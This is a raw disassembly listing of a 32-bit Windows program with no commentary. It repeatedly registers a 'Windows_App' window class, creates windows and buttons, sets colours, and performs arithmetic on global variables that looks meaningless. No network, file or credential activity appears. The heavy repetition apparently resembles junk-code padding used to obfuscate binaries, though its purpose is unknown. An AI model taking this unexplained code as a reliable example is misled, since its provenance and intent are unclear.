cmp eax, dword [0x12524a58]
jne 0x12503d9f
mov eax, dword [esp + 0x3c8]
push eax
push eax
call esi
mov esi, dword [esp + 0x3c8]
push esi
push esi
call ebx
push esi
call dword [sym.imp.USER32.dll_GetSysColorBrush]
mov ecx, dword [0x12524994]
mov eax, ecx
sub eax, dword [0x125249a0]
add eax, dword [0x125249a4]
cmp eax, dword [0x12524998]
jb 0x12503dcd
movzx eax, word [esp + 0x14]
add eax, dword [esp + 0x14]
add eax, dword [esp + 0x14]
mov dword [0x125249a0], eax
mov eax, dword [0x125249d4]
mov dword [esp + 0xdc], eax
movzx eax, cx
push eax
push 0
mov dword [esp + 0xe0], 0x1fc
mov dword [esp + 0xec], 7
mov dword [esp + 0xf0], 0x1e240
mov dword [esp + 0xe8], ecx
call edi
mov ecx, dword [0x125249a4]
mov dword [esp + 0xec], eax
test ecx, ecx
je 0x12503e3d
lea eax, [esp + 0x3e0]
push eax
lea eax, [esp + 0xf4]
push 0x80
push eax
call fcn.1250aa9d
mov ecx, dword [0x125249a4]
add esp, 0xc
mov edx, dword [0x12524994]
mov eax, edx
sub eax, dword [0x125249a0]
add eax, ecx
cmp eax, dword [0x12524998]
jb 0x12503e67
movzx eax, word [esp + 0x14]
add eax, dword [esp + 0x14]
add eax, dword [esp + 0x14]
mov dword [0x125249a0], eax
mov eax, dword [0x125249d4]
mov dword [esp + 0xdc], eax
movzx eax, dx
push eax
push 0
mov dword [esp + 0xe0], 0x1fc
mov dword [esp + 0xec], 7
mov dword [esp + 0xf0], 0x1e240
mov dword [esp + 0xe8], edx
call edi
mov esi, dword [0x125249a4]
mov dword [esp + 0xec], eax
test esi, esi
je 0x12504000
lea eax, [esp + 0x3e0]
push eax
lea eax, [esp + 0xf4]
push 0x80
push eax
call fcn.1250aa9d
mov esi, dword [0x125249a4]
add esp, 0xc
test esi, esi
je 0x12504000
mov eax, dword [str.Window]
mov dword [esp + 0x3b8], eax
mov ax, word [0x1251f494]
mov word [esp + 0x3bc], ax
mov al, byte [0x1251f496]
mov byte [esp + 0x3be], al
push 0x7f02
lea eax, [esp + 0x3bc]
push 0
mov dword [esp + 0x5c], eax
mov dword [esp + 0x38], 8
mov dword [esp + 0x34], 0x30
call edi
push 0x7f03
push 0
mov dword [esp + 0x4c], eax
call edi
push 0x7f03
push 0
mov dword [esp + 0x60], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [esp + 0x48], eax
lea eax, [esp + 0x2c]
push eax
mov dword [esp + 0x54], 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x40], 0
mov dword [esp + 0x50], 1
call dword [sym.imp.USER32.dll_RegisterClassExA]
mov ecx, dword [0x12524994]
push 0
push 0
push 0
push 0
push 0x12c
push 0xfa
push 0x80000000
push 0x80000000
test ax, ax
push 0xcf0000
mov eax, 1
cmove ecx, eax
push str.Windows_App
lea eax, [esp + 0x3e0]
push eax
push 0
mov dword [0x12524994], ecx
call dword [sym.imp.USER32.dll_CreateWindowExA]
push 0
mov esi, eax
push 0xfffffffffffffffa
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push eax
push 0x64
push esi
push 0x14
push 0xc8
push 0xa
push 0x14
push 0x50000000
push 0x1251f4a4
push str.BUTTON
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov esi, dword [0x125249a4]
mov eax, dword [0x125249d4]
mov ecx, dword [0x12524994]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x10], ecx
cmp dword [esp + 0x3b0], eax
jne 0x12504032
mov eax, dword [esp + 0x3a8]
movzx edx, ax
imul edx, esi
imul edx, esi
add edx, edx
sub edx, ecx
jmp 0x12504036
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x14]
imul eax, dword [0x1252499c]
cmp dword [esp + 0x3b0], eax
je 0x12504063
mov eax, dword [0x1252499c]
movzx eax, ax
mov ecx, 1
sub ecx, eax
imul edx, ecx
mov ecx, dword [esp + 0x10]
sub edx, 3
mov ebx, dword [0x125249a0]
mov eax, ecx
sub eax, ebx
add eax, esi
mov dword [esp + 0x3b0], ebx
mov ebx, dword [sym.imp.GDI32.dll_SetBkMode]
cmp eax, dword [0x12524998]
jb 0x125040a1
movzx eax, dx
add eax, dword [esp + 0x3a8]
add eax, dword [esp + 0x3b0]
mov dword [esp + 0x3b0], eax
mov dword [0x125249a0], eax
lea eax, [esi + 6]
push ecx
mov dword [esp + 0x3ac], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
sub esi, 0x136
je 0x125040c1
sub esi, 2
je 0x125040cb
jmp 0x12504115
mov dword [0x12524994], 1
mov esi, dword [esp + 0x10]
push 1
push esi
call ebx
push esi
push dword [esp + 0x3ac]
push dword [esp + 0x24]
call dword [sym.imp.USER32.dll_GetDlgItem]
mov esi, dword [sym.imp.GDI32.dll_SetBkColor]
push eax
call esi
mov eax, dword [esp + 0x3b0]
cmp eax, dword [0x12524a18]
jne 0x12504115
mov eax, dword [esp + 0x10]
push eax
push eax
call esi
mov esi, dword [esp + 0x10]
push esi
push esi
call ebx
push esi
call dword [sym.imp.USER32.dll_GetSysColorBrush]
mov eax, dword [esp + 0x14]
mov ecx, dword [0x1252499c]
mov esi, dword [esp + 0x14]
imul eax, ecx
cmp esi, eax
je 0x12504141
movzx eax, cx
mov ecx, 1
sub ecx, eax
imul ecx, dword [esp + 0x3a8]
sub ecx, 3
jmp 0x12504148
mov ecx, dword [esp + 0x3a8]
mov edx, dword [0x12524994]
mov eax, edx
sub eax, dword [0x125249a0]
add eax, dword [0x125249a4]
cmp eax, dword [0x12524998]
jb 0x12504172
movzx eax, cx
add eax, dword [esp + 0x14]
add eax, esi
mov dword [0x125249a0], eax
mov eax, dword [0x125249d4]
mov dword [esp + 0xdc], eax
movzx eax, dx
push eax
push 0
mov dword [esp + 0xe0], 0x1fc
mov dword [esp + 0xec], 7
mov dword [esp + 0xf0], 0x1e240
mov dword [esp + 0xe8], edx
call edi
mov esi, dword [0x125249a4]
mov dword [esp + 0xec], eax
test esi, esi
je 0x1250430b
lea eax, [esp + 0x3e0]
push eax
lea eax, [esp + 0xf4]
push 0x80
push eax
call fcn.1250aa9d
mov esi, dword [0x125249a4]
add esp, 0xc
test esi, esi
je 0x1250430b
mov eax, dword [str.Window]
mov dword [esp + 0x3c0], eax
mov ax, word [0x1251f494]
mov word [esp + 0x3c4], ax
mov al, byte [0x1251f496]
mov byte [esp + 0x3c6], al
push 0x7f02
lea eax, [esp + 0x3c4]
push 0
mov dword [esp + 0x5c], eax
mov dword [esp + 0x38], 8
mov dword [esp + 0x34], 0x30
call edi
push 0x7f03
push 0
mov dword [esp + 0x4c], eax
call edi
push 0x7f03
push 0
mov dword [esp + 0x60], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [esp + 0x48], eax
lea eax, [esp + 0x2c]
push eax
mov dword [esp + 0x54], 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x40], 0
mov dword [esp + 0x50], 1
call dword [sym.imp.USER32.dll_RegisterClassExA]
mov ecx, dword [0x12524994]
push 0
push 0
push 0
push 0
push 0x12c
push 0xfa
push 0x80000000
push 0x80000000
test ax, ax
push 0xcf0000
mov eax, 1
cmove ecx, eax
push str.Windows_App
lea eax, [esp + 0x3e8]
push eax
push 0
mov dword [0x12524994], ecx
call dword [sym.imp.USER32.dll_CreateWindowExA]
push 0
mov esi, eax
push 0xfffffffffffffffa
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push eax
push 0x64
push esi
push 0x14
push 0xc8
push 0xa
push 0x14
push 0x50000000
push 0x1251f4a4
push str.BUTTON
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov esi, dword [0x125249a4]
mov ecx, dword [0x125249d4]
mov eax, dword [0x12524994]
mov dword [esp + 0x1c], ecx
mov ecx, dword [0x125249a0]
mov dword [esp + 0x3b8], ecx
lea ecx, [esi + 6]
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x3ac], ecx
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
sub esi, 0x136
je 0x1250434b
sub esi, 2
je 0x12504355
jmp 0x1250439f
mov dword [0x12524994], 1
mov esi, dword [esp + 0x10]
push 1
push esi
call ebx
push esi
push dword [esp + 0x3ac]
push dword [esp + 0x24]
call dword [sym.imp.USER32.dll_GetDlgItem]
mov esi, dword [sym.imp.GDI32.dll_SetBkColor]
push eax
call esi
mov eax, dword [esp + 0x3b8]
cmp eax, dword [0x125249e0]
jne 0x1250439f
mov eax, dword [esp + 0x10]
push eax
push eax
call esi
mov esi, dword [esp + 0x10]
push esi
push esi
call ebx
push esi
call dword [sym.imp.USER32.dll_GetSysColorBrush]
mov eax, dword [0x125249a4]
mov dword [esp + 0x3b0], eax
test eax, eax
je 0x125044d6
mov eax, dword [str.Window]
mov dword [esp + 0x3c0], eax
mov ax, word [0x1251f494]
mov word [esp + 0x3c4], ax
mov al, byte [0x1251f496]
mov byte [esp + 0x3c6], al
push 0x7f02
lea eax, [esp + 0x3c4]
push 0
mov dword [esp + 0x5c], eax
mov dword [esp + 0x38], 8
mov dword [esp + 0x34], 0x30
call edi
push 0x7f03
push 0
mov dword [esp + 0x4c], eax
call edi
push 0x7f03
push 0
mov dword [esp + 0x60], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [esp + 0x48], eax
lea eax, [esp + 0x2c]
push eax
mov dword [esp + 0x54], 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x40], 0
mov dword [esp + 0x50], 1
call dword [sym.imp.USER32.dll_RegisterClassExA]
mov ecx, dword [0x12524994]
push 0
push 0
push 0
push 0
push 0x12c
push 0xfa
push 0x80000000
push 0x80000000
test ax, ax
push 0xcf0000
mov eax, 1
cmove ecx, eax
push str.Windows_App
lea eax, [esp + 0x3e8]
push eax
push 0
mov dword [0x12524994], ecx
call dword [sym.imp.USER32.dll_CreateWindowExA]
push 0
mov esi, eax
push 0xfffffffffffffffa
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push eax
push 0x64
push esi
push 0x14
push 0xc8
push 0xa
push 0x14
push 0x50000000
push 0x1251f4a4
push str.BUTTON
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov eax, dword [0x125249a4]
mov dword [esp + 0x3b0], eax
mov ecx, dword [0x125249d4]
mov esi, dword [0x12524994]
mov dword [esp + 0x1c], ecx
mov ecx, dword [0x125249a0]
add eax, 6
push esi
mov dword [esp + 0x14], esi
mov dword [esp + 0x3bc], ecx
mov dword [esp + 0x3ac], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov eax, dword [esp + 0x3b0]
sub eax, 0x136
je 0x12504523
sub eax, 2
je 0x1250452d
mov esi, dword [sym.imp.GDI32.dll_SetBkColor]
jmp 0x12504577
mov dword [0x12524994], 1
push 1
push esi
call ebx
push esi
push dword [esp + 0x3ac]
push dword [esp + 0x24]
call dword [sym.imp.USER32.dll_GetDlgItem]
mov esi, dword [sym.imp.GDI32.dll_SetBkColor]
push eax
call esi
mov eax, dword [esp + 0x3b8]
cmp eax, dword [0x12524a50]
jne 0x12504577
mov eax, dword [esp + 0x10]
push eax
push eax
call esi
mov eax, dword [esp + 0x10]
push eax
push eax
call ebx
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.USER32.dll_GetSysColorBrush]
mov eax, dword [0x125249d4]
mov ecx, dword [0x12524994]
mov dword [esp + 0xdc], eax
movzx eax, cx
push eax
push 0
mov dword [esp + 0xe0], 0x1fc
mov dword [esp + 0xec], 7
mov dword [esp + 0xf0], 0x1e240
mov dword [esp + 0xe8], ecx
call edi
mov ecx, dword [0x125249a4]
mov dword [esp + 0xec], eax
test ecx, ecx
je 0x125045ed
lea eax, [esp + 0x3e0]
push eax
lea eax, [esp + 0xf4]
push 0x80
push eax
call fcn.1250aa9d
mov ecx, dword [0x125249a4]
add esp, 0xc
mov edx, dword [0x12524994]
mov eax, edx
sub eax, dword [0x125249a0]
add eax, ecx
cmp eax, dword [0x12524998]
jb 0x12504617
movzx eax, word [esp + 0x14]
add eax, dword [esp + 0x14]
add eax, dword [esp + 0x14]
mov dword [0x125249a0], eax
mov eax, dword [0x125249d4]
mov dword [esp + 0xdc], eax
movzx eax, dx
push eax
push 0
mov dword [esp + 0xe0], 0x1fc
mov dword [esp + 0xec], 7
mov dword [esp + 0xf0], 0x1e240
mov dword [esp + 0xe8], edx
call edi
mov ecx, dword [0x125249a4]
mov dword [esp + 0xec], eax
mov dword [esp + 0x3b0], ecx
test ecx, ecx
je 0x12504695
lea eax, [esp + 0x3e0]
push eax
lea eax, [esp + 0xf4]
push 0x80
push eax
call fcn.1250aa9d
mov ecx, dword [0x125249a4]
add esp, 0xc
mov dword [esp + 0x3b0], ecx
mov edx, dword [0x125249d4]
mov eax, dword [0x12524994]
mov dword [esp + 0x1c], edx
mov edx, dword [0x125249a0]
add ecx, 6
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x3bc], edx
mov dword [esp + 0x3ac], ecx
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov eax, dword [esp + 0x3b0]
sub eax, 0x136
je 0x125046db
sub eax, 2
je 0x125046e5
jmp 0x1250472b
mov dword [0x12524994], 1
push 1
push dword [esp + 0x14]
call ebx
push dword [esp + 0x10]
push dword [esp + 0x3ac]
push dword [esp + 0x24]
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call esi
mov eax, dword [esp + 0x3b8]
cmp eax, dword [0x12524a4c]
jne 0x1250472b
mov eax, dword [esp + 0x10]
push eax
push eax
call esi
mov esi, dword [esp + 0x10]
push esi
push esi
call ebx
push esi
call dword [sym.imp.USER32.dll_GetSysColorBrush]
mov eax, dword [esp + 0x3a8]
mov esi, dword [0x125249a4]
mov edx, dword [0x12524994]
cmp eax, dword [0x125249d4]
jne 0x1250475c
mov eax, dword [esp + 0x3a8]
movzx ecx, ax
imul ecx, esi
imul ecx, esi
add ecx, ecx
sub ecx, edx
jmp 0x12504760
mov ecx, dword [esp + 0x14]
mov eax, edx
sub eax, dword [0x125249a0]
add eax, esi
cmp eax, dword [0x12524998]
jb 0x12504788
movzx eax, cx
add eax, dword [esp + 0x3a8]
add eax, dword [esp + 0x3a8]
mov dword [0x125249a0], eax
test esi, esi
je 0x125048ad
mov eax, dword [str.Window]
mov dword [esp + 0x3a8], eax
mov ax, word [0x1251f494]
mov word [esp + 0x3ac], ax
mov al, byte [0x1251f496]
mov byte [esp + 0x3ae], al
push 0x7f02
lea eax, [esp + 0x3ac]
push 0
mov dword [esp + 0x5c], eax
mov dword [esp + 0x38], 8
mov dword [esp + 0x34], 0x30
call edi
push 0x7f03
push 0
mov dword [esp + 0x4c], eax
call edi
push 0x7f03
push 0
mov dword [esp + 0x60], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [esp + 0x48], eax
lea eax, [esp + 0x2c]
push eax
mov dword [esp + 0x54], 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x40], 0
mov dword [esp + 0x50], 1
call dword [sym.imp.USER32.dll_RegisterClassExA]
mov ecx, dword [0x12524994]
push 0
push 0
push 0
push 0
push 0x12c
push 0xfa
push 0x80000000
push 0x80000000
test ax, ax
push 0xcf0000
mov eax, 1
cmove ecx, eax
push str.Windows_App
lea eax, [esp + 0x3d0]
push eax
push 0
mov dword [0x12524994], ecx
call dword [sym.imp.USER32.dll_CreateWindowExA]
push 0
mov esi, eax
push 0xfffffffffffffffa
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push eax
push 0x64
push esi
push 0x14
push 0xc8
push 0xa
push 0x14
push 0x50000000
push 0x1251f4a4
push str.BUTTON
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov edx, dword [0x12524994]
mov eax, dword [0x125249d4]
mov dword [esp + 0xdc], eax
movzx eax, dx
push eax
push 0
mov dword [esp + 0xe0], 0x1fc
mov dword [esp + 0xec], 7
mov dword [esp + 0xf0], 0x1e240
mov dword [esp + 0xe8], edx
call edi
mov esi, dword [0x125249a4]
mov dword [esp + 0xec], eax
test esi, esi
je 0x12504a46
lea eax, [esp + 0x3e0]
push eax
lea eax, [esp + 0xf4]
push 0x80
push eax
call fcn.1250aa9d
mov esi, dword [0x125249a4]
add esp, 0xc
test esi, esi
je 0x12504a46
mov eax, dword [str.Window]
mov dword [esp + 0x3c0], eax
mov ax, word [0x1251f494]
mov word [esp + 0x3c4], ax
mov al, byte [0x1251f496]
mov byte [esp + 0x3c6], al
push 0x7f02
lea eax, [esp + 0x3c4]
push 0
mov dword [esp + 0x5c], eax
mov dword [esp + 0x38], 8
mov dword [esp + 0x34], 0x30
call edi
push 0x7f03
push 0
mov dword [esp + 0x4c], eax
call edi
push 0x7f03
push 0
mov dword [esp + 0x60], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [esp + 0x48], eax
lea eax, [esp + 0x2c]
push eax
mov dword [esp + 0x54], 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x40], 0
mov dword [esp + 0x50], 1
call dword [sym.imp.USER32.dll_RegisterClassExA]
mov ecx, dword [0x12524994]
push 0
push 0
push 0
push 0
push 0x12c
push 0xfa
push 0x80000000
push 0x80000000
test ax, ax
push 0xcf0000
mov eax, 1
cmove ecx, eax
push str.Windows_App
lea eax, [esp + 0x3e8]
push eax
push 0
mov dword [0x12524994], ecx
call dword [sym.imp.USER32.dll_CreateWindowExA]
push 0
mov esi, eax
push 0xfffffffffffffffa
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push eax
push 0x64
push esi
push 0x14
push 0xc8
push 0xa
push 0x14
push 0x50000000
push 0x1251f4a4
push str.BUTTON
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov esi, dword [0x125249a4]
mov ecx, dword [0x125249d4]
mov eax, dword [0x12524994]
mov dword [esp + 0x1c], ecx
mov ecx, dword [0x125249a0]
mov dword [esp + 0x3b8], ecx
lea ecx, [esi + 6]
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x3ac], ecx
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
sub esi, 0x136
je 0x12504a86
sub esi, 2
je 0x12504a90
jmp 0x12504ada
mov dword [0x12524994], 1
mov esi, dword [esp + 0x10]
push 1
push esi
call ebx
push esi
push dword [esp + 0x3ac]
push dword [esp + 0x24]
call dword [sym.imp.USER32.dll_GetDlgItem]
mov esi, dword [sym.imp.GDI32.dll_SetBkColor]
push eax
call esi
mov eax, dword [esp + 0x3b8]
cmp eax, dword [0x12524a10]
jne 0x12504ada
mov eax, dword [esp + 0x10]
push eax
push eax
call esi
mov esi, dword [esp + 0x10]
push esi
push esi
call ebx
push esi
call dword [sym.imp.USER32.dll_GetSysColorBrush]
mov eax, dword [0x125249d4]
mov ecx, dword [0x12524994]
mov dword [esp + 0xdc], eax
movzx eax, cx
push eax
push 0
mov dword [esp + 0xe0], 0x1fc
mov dword [esp + 0xec], 7
mov dword [esp + 0xf0], 0x1e240
mov dword [esp + 0xe8], ecx
call edi
mov esi, dword [0x125249a4]
mov dword [esp + 0xec], eax
test esi, esi
je 0x12504b50
lea eax, [esp + 0x3e0]
push eax
lea eax, [esp + 0xf4]
push 0x80
push eax
call fcn.1250aa9d
mov esi, dword [0x125249a4]
add esp, 0xc
mov eax, dword [esp + 0x14]
mov ecx, dword [0x1252499c]
mov edx, dword [esp + 0x3a8]
imul eax, ecx
cmp edx, eax
je 0x12504b7f
movzx eax, cx
mov ecx, 1
sub ecx, eax
imul ecx, dword [esp + 0x3a8]
sub ecx, 3
jmp 0x12504b86
mov ecx, dword [esp + 0x3a8]
cmp edx, dword [0x125249d4]
jne 0x12504ba9
mov eax, dword [esp + 0x3a8]
movzx ecx, ax
mov eax, dword [0x12524994]
imul ecx, esi
imul ecx, esi
add ecx, ecx
sub ecx, eax
jmp 0x12504bae
mov eax, dword [0x12524994]
mov edx, dword [0x125249a0]
sub eax, edx
add eax, esi
cmp eax, dword [0x12524998]
jb 0x12504bd7
movzx edx, cx
add edx, dword [esp + 0x3a8]
add edx, dword [esp + 0x3a8]
mov dword [0x125249a0], edx
test esi, esi
je 0x12504d02
mov eax, dword [str.Window]
mov dword [esp + 0x3a8], eax
mov ax, word [0x1251f494]
mov word [esp + 0x3ac], ax
mov al, byte [0x1251f496]
mov byte [esp + 0x3ae], al
push 0x7f02
lea eax, [esp + 0x3ac]
push 0
mov dword [esp + 0x5c], eax
mov dword [esp + 0x38], 8
mov dword [esp + 0x34], 0x30
call edi
push 0x7f03
push 0
mov dword [esp + 0x4c], eax
call edi
push 0x7f03
push 0
mov dword [esp + 0x60], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [esp + 0x48], eax
lea eax, [esp + 0x2c]
push eax
mov dword [esp + 0x54], 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x40], 0
mov dword [esp + 0x50], 1
call dword [sym.imp.USER32.dll_RegisterClassExA]
mov ecx, dword [0x12524994]
push 0
push 0
push 0
push 0
push 0x12c
push 0xfa
push 0x80000000
push 0x80000000
test ax, ax
push 0xcf0000
mov eax, 1
cmove ecx, eax
push str.Windows_App
lea eax, [esp + 0x3d0]
push eax
push 0
mov dword [0x12524994], ecx
call dword [sym.imp.USER32.dll_CreateWindowExA]
push 0
mov esi, eax
push 0xfffffffffffffffa
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push eax
push 0x64
push esi
push 0x14
push 0xc8
push 0xa
push 0x14
push 0x50000000
push 0x1251f4a4
push str.BUTTON
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov edx, dword [0x125249a0]
mov esi, dword [0x125249a4]
mov ecx, dword [0x12524994]
mov eax, ecx
sub eax, edx
add eax, esi
cmp eax, dword [0x12524998]
jb 0x12504d28
movzx eax, word [esp + 0x14]
add eax, dword [esp + 0x14]
add eax, dword [esp + 0x14]
mov dword [0x125249a0], eax
mov eax, dword [0x125249d4]
mov dword [esp + 0xdc], eax
movzx eax, cx
push eax
push 0
mov dword [esp + 0xe0], 0x1fc
mov dword [esp + 0xec], 7
mov dword [esp + 0xf0], 0x1e240
mov dword [esp + 0xe8], ecx
call edi
mov dword [esp + 0xec], eax
mov eax, dword [0x125249a4]
mov dword [esp + 0x3b0], eax
test eax, eax
je 0x12504da4
lea eax, [esp + 0x3e0]
push eax
lea eax, [esp + 0xf4]
push 0x80
push eax
call fcn.1250aa9d
mov eax, dword [0x125249a4]
add esp, 0xc
mov dword [esp + 0x3b0], eax
mov ecx, dword [0x125249d4]
mov esi, dword [0x12524994]
mov dword [esp + 0x1c], ecx
mov ecx, dword [0x125249a0]
add eax, 6
push esi
mov dword [esp + 0x3cc], esi
mov dword [esp + 0x3bc], ecx
mov dword [esp + 0x3ac], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov eax, dword [esp + 0x3b0]
sub eax, 0x136
je 0x12504dee
sub eax, 2
je 0x12504df8
jmp 0x12504e44
mov dword [0x12524994], 1
push 1
push esi
call ebx
push esi
push dword [esp + 0x3ac]
push dword [esp + 0x24]
call dword [sym.imp.USER32.dll_GetDlgItem]
mov esi, dword [sym.imp.GDI32.dll_SetBkColor]
push eax
call esi
mov eax, dword [esp + 0x3b8]
cmp eax, dword [0x12524aa0]
jne 0x12504e44
mov eax, dword [esp + 0x3c8]
push eax
push eax
call esi
mov esi, dword [esp + 0x3c8]
push esi
push esi
call ebx
push esi
call dword [sym.imp.USER32.dll_GetSysColorBrush]
mov eax, dword [0x125249d4]
mov ecx, dword [0x12524994]
mov dword [esp + 0xdc], eax
movzx eax, cx
push eax
push 0
mov dword [esp + 0xe0], 0x1fc
mov dword [esp + 0xec], 7
mov dword [esp + 0xf0], 0x1e240
mov dword [esp + 0xe8], ecx
call edi
mov esi, dword [0x125249a4]
mov dword [esp + 0xec], eax
test esi, esi
je 0x12504fe3
lea eax, [esp + 0x3e0]
push eax
lea eax, [esp + 0xf4]
push 0x80
push eax
call fcn.1250aa9d
mov esi, dword [0x125249a4]
add esp, 0xc
test esi, esi
je 0x12504fe3
mov eax, dword [str.Window]
mov dword [esp + 0x3b8], eax
mov ax, word [0x1251f494]
mov word [esp + 0x3bc], ax
mov al, byte [0x1251f496]
mov byte [esp + 0x3be], al
push 0x7f02
lea eax, [esp + 0x3bc]
push 0
mov dword [esp + 0x5c], eax
mov dword [esp + 0x38], 8
mov dword [esp + 0x34], 0x30
call edi
push 0x7f03
push 0
mov dword [esp + 0x4c], eax
call edi
push 0x7f03
push 0
mov dword [esp + 0x60], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [esp + 0x48], eax
lea eax, [esp + 0x2c]
push eax
mov dword [esp + 0x54], 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x40], 0
mov dword [esp + 0x50], 1
call dword [sym.imp.USER32.dll_RegisterClassExA]
mov ecx, dword [0x12524994]
push 0
push 0
push 0
push 0
push 0x12c
push 0xfa
push 0x80000000
push 0x80000000
test ax, ax
push 0xcf0000
mov eax, 1
cmove ecx, eax
push str.Windows_App
lea eax, [esp + 0x3e0]
push eax
push 0
mov dword [0x12524994], ecx
call dword [sym.imp.USER32.dll_CreateWindowExA]
push 0
mov esi, eax
push 0xfffffffffffffffa
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push eax
push 0x64
push esi
push 0x14
push 0xc8
push 0xa
push 0x14
push 0x50000000
push 0x1251f4a4
push str.BUTTON
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov esi, dword [0x125249a4]
mov ecx, dword [0x12524994]
mov edx, dword [0x125249a0]
mov eax, ecx
sub eax, edx
add eax, esi
mov dword [esp + 0x10], ecx
mov dword [esp + 0x3b0], edx
cmp eax, dword [0x12524998]
jb 0x12505021
movzx eax, word [esp + 0x14]
add eax, dword [esp + 0x14]
add eax, dword [esp + 0x14]
mov dword [esp + 0x3b0], eax
mov dword [0x125249a0], eax
mov eax, dword [0x125249d4]
mov dword [esp + 0x1c], eax
lea eax, [esi + 6]
push ecx
mov dword [esp + 0x3ac], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
sub esi, 0x136
je 0x12505050
sub esi, 2
je 0x1250505a
mov esi, dword [sym.imp.GDI32.dll_SetBkColor]
jmp 0x125050a7
mov dword [0x12524994], 1
mov esi, dword [esp + 0x10]
push 1
push esi
call ebx
push esi
push dword [esp + 0x3ac]
push dword [esp + 0x24]
call dword [sym.imp.USER32.dll_GetDlgItem]
mov esi, dword [sym.imp.GDI32.dll_SetBkColor]
push eax
call esi
mov eax, dword [esp + 0x3b0]
cmp eax, dword [0x125249f4]
jne 0x125050a7
mov eax, dword [esp + 0x10]
push eax
push eax
call esi
mov eax, dword [esp + 0x10]
push eax
push eax
call ebx
push dword [esp + 0x10]
call dword [sym.imp.USER32.dll_GetSysColorBrush]
mov ecx, dword [0x125249d4]
mov eax, dword [0x12524994]
mov edx, dword [0x125249a0]
mov dword [esp + 0x3b8], ecx
mov ecx, dword [0x125249a4]
mov dword [esp + 0x3a8], ecx
add ecx, 6
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x3c4], edx
mov dword [esp + 0x20], ecx
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov eax, dword [esp + 0x3a8]
sub eax, 0x136
je 0x125050fa
sub eax, 2
je 0x12505104
jmp 0x1250514a
mov dword [0x12524994], 1
push 1
push dword [esp + 0x14]
call ebx
push dword [esp + 0x10]
push dword [esp + 0x20]
push dword [esp + 0x3c0]
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call esi
mov eax, dword [esp + 0x3c0]
cmp eax, dword [0x12524a44]
jne 0x1250514a
mov eax, dword [esp + 0x10]
push eax
push eax
call esi
mov esi, dword [esp + 0x10]
push esi
push esi
call ebx
push esi
call dword [sym.imp.USER32.dll_GetSysColorBrush]
mov esi, dword [0x12524994]
mov ecx, dword [0x125249a0]
mov edx, dword [0x125249a4]
mov eax, esi
sub eax, ecx
add eax, edx
mov dword [esp + 0x10], esi
mov dword [esp + 0x18], ecx
mov dword [esp + 0x3b0], edx
cmp eax, dword [0x12524998]
jb 0x12505190
movzx ecx, word [esp + 0x14]
add ecx, dword [esp + 0x14]
add ecx, dword [esp + 0x14]
mov dword [esp + 0x18], ecx
mov dword [0x125249a0], ecx
test edx, edx
je 0x125052cf
call fcn.12509e4e
call fcn.12509e4e
call fcn.12509e4e
push str.vector_T__too_long
call fcn.12509e7f
int3